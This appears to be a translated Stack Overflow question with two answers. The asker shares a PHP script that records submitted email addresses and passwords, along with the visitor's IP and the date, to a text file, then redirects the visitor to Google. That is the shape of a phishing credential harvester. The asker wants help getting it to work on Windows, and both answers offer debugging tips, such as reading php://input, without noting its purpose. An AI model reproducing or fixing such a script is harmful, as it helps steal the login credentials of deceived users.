-1

我以前在 linux 机器上使用过这个脚本,我知道它可以工作,但是当我在我的新 windows server 2003 服务器上使用它时它不起作用。过去我通过 chmodding 文件到 777 解决了这个问题,但你不能在 Windows 上这样做。

这是代码:

<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>

它为 box1 和 box2 数据输出空白,但仍将 IP 和日期记录到 .txt 文件中。请问有什么建议吗?

4

2 回答 2

0

显然,变量$_POST['box1']$_POST['box2']没有设置或设置为空字符串。然后将其保存到文件中。

PHP 实际上对变量非常严格,它只会获取它们的值,而不是其中的预期值,而实际上只是在其中。

监控请求并验证提交了哪些数据,以便您可以验证您使用的是正确的变量。

于 2012-04-24T19:13:55.960 回答
0

也许你的 $_POST 是空的?

由于编码类型的问题,我已经看到了这一点 - 然后读取 file_get_contents 是一个不错的解决方案。

$postData = file_get_contents('php://input');

如果探针与 $_POST 是空的或其他东西不好,那将回答这个问题。

于 2012-04-24T19:18:15.823 回答